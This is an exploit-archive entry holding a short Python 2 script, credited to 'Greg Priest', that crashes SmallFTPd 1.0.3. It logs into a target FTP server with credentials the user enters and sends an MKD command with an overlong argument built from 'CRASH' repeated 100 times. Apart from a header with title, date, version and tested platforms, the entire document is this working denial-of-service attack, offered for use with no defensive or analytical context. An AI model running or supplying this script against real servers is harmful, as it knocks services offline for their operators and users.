SmallFTPd 1.0.3 mkd Denial Of Service

`from ftplib import FTP  
  
print '''  
##############################################  
# Created: ScrR1pTK1dd13 #  
# Name: Greg Priest #  
# Mail: [email protected] #   
##############################################  
  
  
# Exploit Title: smallftp_mkd_command_DoS_Exploit  
# Date: 2016.10.26  
# Exploit Author: Greg Priest  
# Version: smallftpd 1.0.3  
# Tested on: Windows XP, Windows 7 x64  
  
'''  
  
ftp_ip = raw_input("FTP server IP:")  
user = raw_input("username:")  
password = raw_input("password:")  
killercode = 'CRASH' * 100  
ftp = FTP(ftp_ip)  
ftp.login(user, password)  
print ftp.login  
print "CRSAH CODE SENT!"  
FTP.mkd(ftp, killercode)  
  
  
`